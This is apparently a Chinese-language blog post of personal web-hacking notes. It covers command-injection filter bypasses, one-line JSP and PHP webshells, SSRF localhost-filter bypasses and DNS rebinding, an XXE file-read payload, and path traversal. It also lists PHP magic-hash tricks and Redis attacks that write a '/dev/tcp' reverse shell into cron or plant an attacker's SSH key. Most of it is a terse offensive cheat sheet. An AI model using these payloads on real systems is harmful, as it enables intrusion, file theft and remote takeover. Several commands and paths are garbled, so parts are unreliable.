加载中...

其他漏洞的想法

其他Web漏洞

  • 命令注入

    1)一句话木马中可用exec和system

    2)利用&&和;(linux)执行多个指令

    3)window

    拦截时候空格也算一个字节即 | 不等于|空格

    type 查看文件内容

    • 屏蔽

      1)屏蔽&&和;

      用&

      &;

      ||

      指令1|指令2

      2)屏蔽cat 等关键词

      ca‘t’ ca\t ca””t

      用more less head tail tac paste fmt fold uniq

      dd if=filename cut -c 1- filename0g grep -e “.*” filename

      od 读取并转为八进制输出 awk ‘{print $0}’ filename

      curl file:///文件地址绝对路径

      ca’t’ 22.ph* [22.ph.]

      3)屏蔽空格

      4)屏蔽\ /

      \((printf\){IFS}”\57”) 将八进制转为ASCII字符

    4)限制木马写入

    windows:

    set /p="<?php " >> 1.txt

    linux:

    echo '<?php ' >> zj.txt

    echo -e 'eval(\c' >> zj.tx

    5)文件问题 文件为this is key 有空格的文件 或者没有权限

    “this is key“带双引号 chmod 777

    6)报错用一个%80不存在的urlcode

    7)常见程序语言命令执行函数

    • php

      assert eval system shell_exec exec popen putenv passthru

    • asp

      Eval Execute ExecuteGlobal

    • jsp

      <%Runtime.getRuntime().exec(request.getParameter("i"));%>

  • CSRF跨站请求伪造

    1)发送自己已经修改密码的get连接给受害者,让受害者用他的cookies直接修改

    2)越权

    1.更改get请求,网页PHP的名称(部分网页admin和user界面名称不同)

    2.偷admin的cookies

  • SSRF服务器伪造请求

    1)文件流访问url = file:///c:/onefile

    2)当做端口扫描 url = http://ip :port 可以获得端口相关内容

    • ssrf屏蔽

      SSRF 禁用 127.0.0.1和内网ip后如何绕过?

      (1) 利用进制转换

      对于ip中的每一位可以进制混用

      8进制格式:0300.0250.0.1
      16进制格式:0xC0.0xA8.0.1
      10进制整数格式:3232235521
      16进制整数格式:0xC0A80001
      合并后两位:1.1.278 / 1.1.755
      合并后三位:1.278 / 1.755 / 3.14159267
      

      (2) 利用DNS解析

      1)攻击者构建dns服务器,且设置缓存极小,TTL=1
      2)第一次请求为合法地址,马上第二次请求为恶意地址
      3)在恶意地址利用http等协议访问资源
      

      由于构建DNS的不易有免费的网站如下

      http://ceye.io/

      https://lock.cmpxchg8b.com/rebinder.html

      实际例子如下

      利用第二个网站 A输入hacker_ip B输入目标ip 返回一个域名解析后最后得到hacker_ip

      然后再hacker主机上写

      <?php head(http://127.0.0.1/flag)?>###相当于一个网络访问工具
      

      向发包 被攻击网站xxxxx?url=http://7fxxxxxx01xxxxx.rbndr.us:9085

      获得访问资源

      ########由于难以控制第一次合法地址和第二次非法地址的顺序,通常用burpsuite批量发包########(3) 利用句号(127。0。0。1)

      (4)本地回环地址的其他形式

      http://127.0.0.1
      http://localhost
      http://127.255.255.254
      127.0.0.1 - 127.255.255.254
      ttp://[::]:80/
      http://[::1]
      http://[::ffff:7f00:1]
      http://[::ffff:127.0.0.1]
      http://127.1
      http://127.0.1
      http://0:80
      

      (5) 利用@(http://example.com@127.0.0.1 );(6) 利用短地址( http://dwz.cn/11SMa);

      推荐将长网站转换短地址的网站

      http://suo.zgzzlzkjapp.com/

      http://13.xzminye.top/

      (7) 利用 0.0.0.0 或者 localhost

      (8)利用跳转http://httpbin.org/redict?url=http://192.168.231.1

      (9)利用IPv6 http://[::::]:80/

      (10)利用IDN 一些网络工具支持国际化例如curl

      ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ == example.com

      所以可以用② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 代替数字123456789

  • XXE

    <!xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///c:/a.txt">]>
    <user>
    <username>&xxe;</uesrname> //调用上面定义的xxe
    <passwd>passwd</passwd>
    </user>
    
    
  • 暴力破解

    • 验证码

      1)python 识别

      2)server验证

      (1)1.先只填用户密码,此时用burp抓包会抓到它的验证码

             2.读取后添到要爆破的POST包中
      

      (2)先抓包不放,直接爆破

      3)客户端验证(随便欺负)

      关js,改代码

      4)token验证

  • 文件下载和目录遍历

    分析下载方式,如get?filename=然后下载他的源代码

    filename=../或者../../或者../../../有可能出现目录或文件夹

  • redis

    • 计划任务执行

      /var/spoof/cron /var/spoof/at

      /etc/crontab

      config set dir /var/spoof/cron 设置数据库备份文件到这个计划任务文件夹

      config set dbfilename xxx随便设个数据库名

      set dataxxx “bash -i &> /dev/tcp/ip/port 0&>1”

      或者你报存时保存为xx.php 之后set dataxxxxx “”效果一样

      save之后根据redis备份时间将shell放在计划任务文件夹,系统会执行它的

    • ssh免密登录

      攻击机ssh-keygen -t rsa 在/root/.ssh/id_rsa.pub生成自己的ssh认证

      然后登录redis

      set keyxxxx “刚刚的文件” 一般cat /root/.ssh/id_rsa.pub | redis-cli -h 192.168.186.131 -x set data直接传入

      config set dir /root/.ssh 设置数据库备份文件到这个计划任务文件夹

      config set dbfilename xxx随便设个数据库名

      save

      然后就可以用ssh -i rsa root@ip

  • bypass

    php弱类型比较 ==

    1)当两个字符串以 '0e' 开头,后面跟着数字时,如果将它们进行松散类型比较在 PHP 7.4.0 之前的版本为true

    2)231==’1231’

    3)php漏洞如果md4 md5加密0exxx即md5(’IHKFRNS’)==’0e134234234’

    md4 0e251288019
    md5 IHKFRNS QLTHNDT QNKCDZO 3908336290
    4011627063 4775635065 0e215962017 aabg7XSs aabC9RqS
    md5(md5) QNKCDZO aabg7XSs paulw gnom1sh e8ffc7e729a28827c31e7f5d87b115f7
    aaroZmOk AappLeE Ba9ZyWx6

    那么$pass = hash(’md4’,’11’); $pass == ‘0exxx’; 是正确的

    4)php md5处理数组返回null get[$pass] pass[]=1解释为数组

    5)

posted @ 2023-04-15 16:54  泠の半掉线  阅读(35)  评论(0)    收藏  举报